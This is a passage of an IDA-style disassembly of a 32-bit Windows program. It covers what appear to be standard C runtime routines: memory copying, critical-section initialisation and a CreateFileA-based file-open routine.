ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_415876 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41CF57: ; CODE XREF: sub_41CED0+40j ; sub_41CED0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41CF03 ; --------------------------------------------------------------------------- loc_41CF62: ; CODE XREF: sub_41CED0+54j mov eax, 0 jmp short loc_41CF85 ; --------------------------------------------------------------------------- loc_41CF69: ; CODE XREF: sub_41CED0+36j mov eax, 1 jmp short loc_41CF85 ; --------------------------------------------------------------------------- loc_41CF70: ; CODE XREF: sub_41CED0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4157E2 add esp, 8 pop ebp mov eax, 1 loc_41CF85: ; CODE XREF: sub_41CED0+97j ; sub_41CED0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CED0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4157E2 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41CFA8: ; DATA XREF: sub_41CFB8:loc_41CFFAo push dword ptr [esp+4] call ds:dword_420148 ; InitializeCriticalSection xor eax, eax inc eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFB8 proc near ; CODE XREF: sub_417F83+26p ; sub_418036+49p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 10h push offset stru_429A90 call __SEH_prolog mov eax, dword_47C51C test eax, eax jnz short loc_41D004 cmp dword_47C1C4, 1 jz short loc_41CFFA push offset aKernel32_dll ; "kernel32.dll" call ds:dword_4200A4 ; GetModuleHandleA test eax, eax jz short loc_41CFFA push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call ds:dword_420084 ; GetProcAddress mov dword_47C51C, eax test eax, eax jnz short loc_41D004 loc_41CFFA: ; CODE XREF: sub_41CFB8+1Cj ; sub_41CFB8+2Bj mov eax, offset loc_41CFA8 mov dword_47C51C, eax loc_41D004: ; CODE XREF: sub_41CFB8+13j ; sub_41CFB8+40j and [ebp+ms_exc.disabled], 0 push [ebp+arg_4] push [ebp+arg_0] call eax ; InitializeCriticalSectionAndSpinCount mov [ebp+var_1C], eax jmp short loc_41D039 ; --------------------------------------------------------------------------- loc_41D015: ; DATA XREF: .rdata:stru_429A90o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_20], eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41D023: ; DATA XREF: .rdata:stru_429A90o mov esp, [ebp+ms_exc.old_esp] cmp [ebp+var_20], 0C0000017h jnz short loc_41D037 push 8 call ds:dword_420170 ; RtlRestoreLastWin32Error loc_41D037: ; CODE XREF: sub_41CFB8+75j xor eax, eax loc_41D039: ; CODE XREF: sub_41CFB8+5Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call __SEH_epilog retn sub_41CFB8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D050 proc near ; CODE XREF: sub_418159+2DEp ; sub_4196B6+13p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D070 cmp edi, eax jb loc_41D1EC loc_41D070: ; CODE XREF: sub_41D050+16j test edi, 3 jnz short loc_41D08C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D0AC rep movsd jmp ds:off_41D19C[edx*4] ; --------------------------------------------------------------------------- loc_41D08C: ; CODE XREF: sub_41D050+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D0A4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41D0AC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D0A4: ; CODE XREF: sub_41D050+46j jmp dword ptr ds:loc_41D1AC[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D0AC: ; CODE XREF: sub_41D050+31j ; sub_41D050+8Ej ... jmp ds:off_41D130[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D0C0 dd offset loc_41D0EC dd offset loc_41D110 ; --------------------------------------------------------------------------- loc_41D0C0: ; DATA XREF: sub_41D050+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D0AC rep movsd jmp ds:off_41D19C[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D0EC: ; DATA XREF: sub_41D050+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D0AC rep movsd jmp ds:off_41D19C[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D110: ; DATA XREF: sub_41D050+6Co and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_41D0AC rep movsd jmp ds:off_41D19C[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D130 dd offset loc_41D193 ; DATA XREF: sub_41D050:loc_41D0ACr dd offset loc_41D180 dd offset loc_41D178 dd offset loc_41D170 dd offset loc_41D168 dd offset loc_41D160 dd offset loc_41D158 dd offset loc_41D150 ; --------------------------------------------------------------------------- loc_41D150: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D158: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D160: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D168: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D170: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D178: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D180: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D193: ; CODE XREF: sub_41D050:loc_41D0ACj ; DATA XREF: sub_41D050:off_41D130o jmp ds:off_41D19C[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D19C dd offset loc_41D1AC ; DATA XREF: sub_41D050+35r ; sub_41D050+92r ... dd offset loc_41D1B4 dd offset loc_41D1C0 dd offset loc_41D1D4 ; --------------------------------------------------------------------------- loc_41D1AC: ; CODE XREF: sub_41D050+35j ; sub_41D050+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D1B4: ; CODE XREF: sub_41D050+35j ; sub_41D050+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D1C0: ; CODE XREF: sub_41D050+35j ; sub_41D050+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D1D4: ; CODE XREF: sub_41D050+35j ; sub_41D050+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D1EC: ; CODE XREF: sub_41D050+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D220 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D214 std rep movsd cld jmp ds:off_41D338[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D214: ; CODE XREF: sub_41D050+1B5j ; sub_41D050+210j ... neg ecx jmp dword ptr ds:loc_41D2E7+1[ecx*4] ; --------------------------------------------------------------------------- align 10h loc_41D220: ; CODE XREF: sub_41D050+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D238 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_41D238+4[eax*4] ; --------------------------------------------------------------------------- loc_41D238: ; CODE XREF: sub_41D050+1DAj ; DATA XREF: sub_41D050+1E1r jmp ds:off_41D338[ecx*4] ; --------------------------------------------------------------------------- align 10h dd offset loc_41D24C dd offset loc_41D270 ; --------------------------------------------------------------------------- cwde rol byte ptr [ecx+0], cl loc_41D24C: ; DATA XREF: sub_41D050+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_41D214 std rep movsd cld jmp ds:off_41D338[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D270: ; DATA XREF: sub_41D050+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D214 std rep movsd cld jmp ds:off_41D338[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D214 std rep movsd cld jmp ds:off_41D338[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D2EC dd offset loc_41D2F4 ; --------------------------------------------------------------------------- cld rol byte ptr [ecx+0], cl add al, 0D3h inc ecx add [ebx+edx*8], cl inc ecx add [ebx+edx*8], dl inc ecx add [ebx+edx*8], bl inc ecx loc_41D2E7: ; DATA XREF: sub_41D050+1C6r add [edi], ch rol dword ptr [ecx+0], cl loc_41D2EC: ; DATA XREF: sub_41D050+27Co mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D2F4: ; DATA XREF: sub_41D050+280o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D32F: ; CODE XREF: sub_41D050+1C6j jmp ds:off_41D338[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D338 dd offset loc_41D348 ; DATA XREF: sub_41D050+1BBr ; sub_41D050:loc_41D238r ... dd offset loc_41D350 dd offset loc_41D360 dd offset loc_41D374 ; --------------------------------------------------------------------------- loc_41D348: ; CODE XREF: sub_41D050+1BBj ; sub_41D050:loc_41D238j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D350: ; CODE XREF: sub_41D050+1BBj ; sub_41D050:loc_41D238j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D360: ; CODE XREF: sub_41D050+1BBj ; sub_41D050:loc_41D238j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D374: ; CODE XREF: sub_41D050+1BBj ; sub_41D050:loc_41D238j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D38D proc near ; CODE XREF: sub_41D674+28p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch mov edx, [ebp+arg_C] push ebx push esi xor esi, esi test dl, dl mov [ebp+var_1C], 0Ch mov [ebp+var_18], esi jns short loc_41D3B1 mov [ebp+var_14], esi mov [ebp+var_1], 10h jmp short loc_41D3BC ; --------------------------------------------------------------------------- loc_41D3B1: ; CODE XREF: sub_41D38D+19j and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41D3BC: ; CODE XREF: sub_41D38D+22j mov eax, 8000h test edx, eax jnz short loc_41D3D6 test dh, 40h jnz short loc_41D3D2 cmp dword_47C600, eax jz short loc_41D3D6 loc_41D3D2: ; CODE XREF: sub_41D38D+3Bj or [ebp+var_1], 80h loc_41D3D6: ; CODE XREF: sub_41D38D+36j ; sub_41D38D+43j push 3 mov eax, edx pop ebx and eax, ebx sub eax, esi jz short loc_41D3F9 dec eax jz short loc_41D3F0 dec eax jnz short loc_41D414 mov [ebp+var_10], 0C0000000h jmp short loc_41D400 ; --------------------------------------------------------------------------- loc_41D3F0: ; CODE XREF: sub_41D38D+55j mov [ebp+var_10], 40000000h jmp short loc_41D400 ; --------------------------------------------------------------------------- loc_41D3F9: ; CODE XREF: sub_41D38D+52j mov [ebp+var_10], 80000000h loc_41D400: ; CODE XREF: sub_41D38D+61j ; sub_41D38D+6Aj cmp ecx, 10h jz short loc_41D445 cmp ecx, 20h jz short loc_41D43C cmp ecx, 30h jz short loc_41D433 cmp ecx, 40h jz short loc_41D42E loc_41D414: ; CODE XREF: sub_41D38D+58j call sub_419430 mov dword ptr [eax], 16h call sub_419439 mov [eax], esi or eax, 0FFFFFFFFh jmp loc_41D625 ; --------------------------------------------------------------------------- loc_41D42E: ; CODE XREF: sub_41D38D+85j mov [ebp+var_8], ebx jmp short loc_41D448 ; --------------------------------------------------------------------------- loc_41D433: ; CODE XREF: sub_41D38D+80j mov [ebp+var_8], 2 jmp short loc_41D448 ; --------------------------------------------------------------------------- loc_41D43C: ; CODE XREF: sub_41D38D+7Bj mov [ebp+var_8], 1 jmp short loc_41D448 ; --------------------------------------------------------------------------- loc_41D445: ; CODE XREF: sub_41D38D+76j mov [ebp+var_8], esi loc_41D448: ; CODE XREF: sub_41D38D+A4j ; sub_41D38D+ADj ... mov eax, edx mov edx, 700h and eax, edx mov ecx, 400h cmp eax, ecx push edi mov edi, 100h jg short loc_41D48F jz short loc_41D48A cmp eax, esi jz short loc_41D48A cmp eax, edi jz short loc_41D481 cmp eax, 200h jz short loc_41D4BB cmp eax, 300h jnz short loc_41D4A1 mov [ebp+var_C], 2 jmp short loc_41D4CB ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D38D+DBj mov [ebp+var_C], 4 jmp short loc_41D4CB ; --------------------------------------------------------------------------- loc_41D48A: ; CODE XREF: sub_41D38D+D3j ; sub_41D38D+D7j mov [ebp+var_C], ebx jmp short loc_41D4CB ; --------------------------------------------------------------------------- loc_41D48F: ; CODE XREF: sub_41D38D+D1j cmp eax, 500h jz short loc_41D4C4 cmp eax, 600h jz short loc_41D4BB cmp eax, edx jz short loc_41D4C4 loc_41D4A1: ; CODE XREF: sub_41D38D+E9j call sub_419430 mov dword ptr [eax], 16h call sub_419439 mov [eax], esi loc_41D4B3: ; CODE XREF: sub_41D38D+2E2j or eax, 0FFFFFFFFh jmp loc_41D624 ; --------------------------------------------------------------------------- loc_41D4BB: ; CODE XREF: sub_41D38D+E2j ; sub_41D38D+10Ej mov [ebp+var_C], 5 jmp short loc_41D4CB ; --------------------------------------------------------------------------- loc_41D4C4: ; CODE XREF: sub_41D38D+107j ; sub_41D38D+112j mov [ebp+var_C], 1 loc_41D4CB: ; CODE XREF: sub_41D38D+F2j ; sub_41D38D+FBj ... mov eax, [ebp+arg_C] test eax, edi mov esi, 80h jz short loc_41D4E9 mov ecx, dword_47C1C0 not ecx and ecx, [ebp+arg_10] test cl, cl js short loc_41D4E9 xor esi, esi inc esi loc_41D4E9: ; CODE XREF: sub_41D38D+148j ; sub_41D38D+157j test al, 40h jz short loc_41D504 or byte ptr [ebp+var_10+2], 1 or esi, 4000000h cmp dword_47C1C4, 2 jnz short loc_41D504 or [ebp+var_8], 4 loc_41D504: ; CODE XREF: sub_41D38D+15Ej ; sub_41D38D+171j test ah, 10h jz short loc_41D50B or esi, edi loc_41D50B: ; CODE XREF: sub_41D38D+17Aj test al, 20h jz short loc_41D517 or esi, 8000000h jmp short loc_41D521 ; --------------------------------------------------------------------------- loc_41D517: ; CODE XREF: sub_41D38D+180j test al, 10h jz short loc_41D521 or esi, 10000000h loc_41D521: ; CODE XREF: sub_41D38D+188j ; sub_41D38D+18Cj call sub_41CC21 mov edi, eax or ebx, 0FFFFFFFFh cmp edi, ebx jnz short loc_41D549 call sub_419430 mov dword ptr [eax], 18h call sub_419439 and dword ptr [eax], 0 loc_41D542: ; CODE XREF: sub_41D38D+208j mov eax, ebx jmp loc_41D624 ; --------------------------------------------------------------------------- loc_41D549: ; CODE XREF: sub_41D38D+1A0j mov eax, [ebp+arg_0] push 0 push esi push [ebp+var_C] mov dword ptr [eax], 1 mov eax, [ebp+arg_4] mov [eax], edi lea eax, [ebp+var_1C] push eax push [ebp+var_8] push [ebp+var_10] push [ebp+arg_8] call ds:dword_420044 ; CreateFileA mov esi, eax cmp esi, ebx jz short loc_41D588 push esi call ds:dword_4201D0 ; GetFileType test eax, eax jnz short loc_41D597 push esi call ds:dword_42003C ; CloseHandle loc_41D588: ; CODE XREF: sub_41D38D+1E7j call ds:dword_420008 ; RtlGetLastWin32Error push eax call sub_419442 pop ecx jmp short loc_41D542 ; --------------------------------------------------------------------------- loc_41D597: ; CODE XREF: sub_41D38D+1F2j cmp eax, 2 jnz short loc_41D5A2 or [ebp+var_1], 40h jmp short loc_41D5AB ; --------------------------------------------------------------------------- loc_41D5A2: ; CODE XREF: sub_41D38D+20Dj cmp eax, 3 jnz short loc_41D5AB or [ebp+var_1], 8 loc_41D5AB: ; CODE XREF: sub_41D38D+213j ; sub_41D38D+218j push esi push edi call sub_41CA50 or [ebp+var_1], 1 mov eax, edi sar eax, 5 lea ebx, ds:47C640h[eax*4] mov eax, edi and eax, 1Fh lea esi, [eax+eax*8] mov al, [ebp+var_1] pop ecx pop ecx mov ecx, [ebx] shl esi, 2 mov [ebp+var_1], al and [ebp+var_1], 48h mov [esi+ecx+4], al jnz short loc_41D60D test al, al jns short loc_41D60D test byte ptr [ebp+arg_C], 2 jz short loc_41D60D push 2 push 0FFFFFFFFh push edi call sub_41B178 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41D629 call sub_419439 cmp dword ptr [eax], 83h jnz short loc_41D668 loc_41D60D: ; CODE XREF: sub_41D38D+252j ; sub_41D38D+256j ... cmp [ebp+var_1], 0 jnz short loc_41D622 test byte ptr [ebp+arg_C], 8 jz short loc_41D622 mov eax, [ebx] lea eax, [esi+eax+4] or byte ptr [eax], 20h loc_41D622: ; CODE XREF: sub_41D38D+284j ; sub_41D38D+28Aj mov eax, edi loc_41D624: ; CODE XREF: sub_41D38D+129j ; sub_41D38D+1B7j pop edi loc_41D625: ; CODE XREF: sub_41D38D+9Cj pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D629: ; CODE XREF: sub_41D38D+271j and [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax push edi call sub_418CEA add esp, 0Ch test eax, eax jnz short loc_41D656 cmp [ebp+var_2], 1Ah jnz short loc_41D656 push [ebp+var_10] push edi call sub_41E49E cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_41D668 loc_41D656: ; CODE XREF: sub_41D38D+2B1j ; sub_41D38D+2B7j push 0 push 0 push edi call sub_41B178 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41D60D loc_41D668: ; CODE XREF: sub_41D38D+27Ej ; sub_41D38D+2C7j push edi call sub_417AB9 pop ecx jmp loc_41D4B3 sub_41D38D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D674 proc near ; CODE XREF: sub_4192C8+137p var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset stru_429AA0 call __SEH_prolog and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax mov ecx, [ebp+arg_8] call sub_41D38D add esp, 14h mov [ebp+var_24], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D6B9 mov eax, [ebp+var_24] call __SEH_epilog retn sub_41D674 endp ; =============== S U B R O U T I N E ======================================= sub_41D6B9 proc near ; CODE XREF: sub_41D674+37p ; DATA XREF: .rdata:stru_429AA0o cmp dword ptr [ebp-1Ch], 0 jz short locret_41D6C8 push dword ptr [ebp-20h] call sub_41CBFF pop ecx locret_41D6C8: ; CODE XREF: sub_41D6B9+4j retn sub_41D6B9 endp ; =============== S U B R O U T I N E ======================================= sub_41D6C9 proc near ; CODE XREF: sub_41D748+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push 20h pop ecx cdq idiv ecx push 1Fh pop ecx sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl mov ecx, [esp+arg_0] not edx test [ecx+eax*4], edx jz short loc_41D6F1 loc_41D6E8: ; CODE XREF: sub_41D6C9+26j xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D6EB: ; CODE XREF: sub_41D6C9+2Cj cmp dword ptr [ecx+eax*4], 0 jnz short loc_41D6E8 loc_41D6F1: ; CODE XREF: sub_41D6C9+1Dj inc eax cmp eax, 3 jl short loc_41D6EB xor eax, eax inc eax retn sub_41D6C9 endp ; =============== S U B R O U T I N E ======================================= sub_41D6FB proc near ; CODE XREF: sub_41D748+42p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push edi push 20h pop ecx cdq idiv ecx mov edi, [esp+8+arg_0] mov esi, eax lea eax, [edi+esi*4] push eax push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl push edx push dword ptr [eax] call sub_41E5D9 add esp, 0Ch dec esi js short loc_41D745 lea edi, [edi+esi*4] loc_41D72C: ; CODE XREF: sub_41D6FB+48j test eax, eax jz short loc_41D745 push edi push 1 push dword ptr [edi] call sub_41E5D9 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41D72C loc_41D745: ; CODE XREF: sub_41D6FB+2Cj ; sub_41D6FB+33j pop edi pop esi retn sub_41D6FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D748 proc near ; CODE XREF: sub_41D869+79p ; sub_41D869+C2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx push esi push edi mov edi, [ebp+arg_4] dec edi push 20h lea eax, [edi+1] pop ecx cdq idiv ecx push 1Fh pop esi sub esi, edx xor edx, edx inc edx mov ecx, esi shl edx, cl mov ebx, eax mov eax, [ebp+arg_0] test [eax+ebx*4], edx jz short loc_41D797 lea ecx, [edi+1] push ecx push eax call sub_41D6C9 test eax, eax pop ecx pop ecx jnz short loc_41D794 push edi push [ebp+arg_0] call sub_41D6FB pop ecx pop ecx mov [ebp+var_4], eax loc_41D794: ; CODE XREF: sub_41D748+3Cj mov eax, [ebp+arg_0] loc_41D797: ; CODE XREF: sub_41D748+2Cj or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax+ebx*4], edx inc ebx cmp ebx, ecx jge short loc_41D7B2 lea edi, [eax+ebx*4] sub ecx, ebx xor eax, eax rep stosd loc_41D7B2: ; CODE XREF: sub_41D748+5Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41D748 endp ; =============== S U B R O U T I N E ======================================= sub_41D7BA proc near ; CODE XREF: sub_41D869+6Dp ; sub_41D869+ACp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 3 pop edx sub ecx, eax push esi loc_41D7C8: ; CODE XREF: sub_41D7BA+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41D7C8 pop esi retn sub_41D7BA endp ; =============== S U B R O U T I N E ======================================= sub_41D7D5 proc near ; CODE XREF: sub_41D869+4Dp arg_0 = dword ptr 4 xor eax, eax loc_41D7D7: ; CODE XREF: sub_41D7D5+10j mov ecx, [esp+arg_0] cmp dword ptr [ecx+eax*4], 0 jnz short loc_41D7EB inc eax cmp eax, 3 jl short loc_41D7D7 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41D7EB: ; CODE XREF: sub_41D7D5+Aj xor eax, eax retn sub_41D7D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7EE proc near ; CODE XREF: sub_41D869+B6p ; sub_41D869+D0p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h pop esi cdq mov ecx, esi idiv ecx mov ebx, [ebp+arg_0] or edi, 0FFFFFFFFh mov [ebp+arg_4], esi mov ecx, edx shl edi, cl mov [ebp+var_8], eax xor eax, eax sub [ebp+arg_4], edx not edi mov [ebp+var_4], eax loc_41D81C: ; CODE XREF: sub_41D7EE+51j mov esi, [ebx+eax*4] mov ecx, esi and ecx, edi mov [ebp+var_C], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+arg_4] or esi, [ebp+var_4] mov [ebx+eax*4], esi mov esi, [ebp+var_C] shl esi, cl inc eax cmp eax, 3 mov [ebp+var_4], esi jl short loc_41D81C push 2 pop eax mov ecx, eax sub ecx, [ebp+var_8] lea ecx, [ebx+ecx*4] loc_41D84C: ; CODE XREF: sub_41D7EE+74j cmp eax, [ebp+var_8] jl short loc_41D858 mov edx, [ecx] mov [ebx+eax*4], edx jmp short loc_41D85C ; --------------------------------------------------------------------------- loc_41D858: ; CODE XREF: sub_41D7EE+61j and dword ptr [ebx+eax*4], 0 loc_41D85C: ; CODE XREF: sub_41D7EE+68j dec eax sub ecx, 4 test eax, eax jge short loc_41D84C pop edi pop esi pop ebx leave retn sub_41D7EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D869 proc near ; CODE XREF: sub_41D9C1+Dp ; sub_41D9D7+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] shl eax, 10h and edi, 7FFFh sub edi, 3FFFh cmp edi, 0FFFFC001h mov [ebp+var_4], eax lea eax, [ebp+var_C] mov [ebp+var_8], ecx push eax jnz short loc_41D8D2 xor ebx, ebx call sub_41D7D5 test eax, eax pop ecx jnz loc_41D981 lea edi, [ebp+var_C] stosd stosd stosd loc_41D8CA: ; CODE XREF: sub_41D869+DAj push 2 pop eax jmp loc_41D983 ; --------------------------------------------------------------------------- loc_41D8D2: ; CODE XREF: sub_41D869+49j lea eax, [ebp+var_18] push eax call sub_41D7BA push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_41D748 add esp, 10h test eax, eax jz short loc_41D8EF inc edi loc_41D8EF: ; CODE XREF: sub_41D869+83j mov eax, [esi+4] mov ecx, eax sub ecx, [esi+8] cmp edi, ecx jge short loc_41D905 xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd jmp short loc_41D941 ; --------------------------------------------------------------------------- loc_41D905: ; CODE XREF: sub_41D869+90j cmp edi, eax jg short loc_41D945 sub eax, edi mov edi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41D7BA lea eax, [ebp+var_C] push edi push eax call sub_41D7EE push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_41D748 mov eax, [esi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41D7EE add esp, 20h loc_41D941: ; CODE XREF: sub_41D869+9Aj xor ebx, 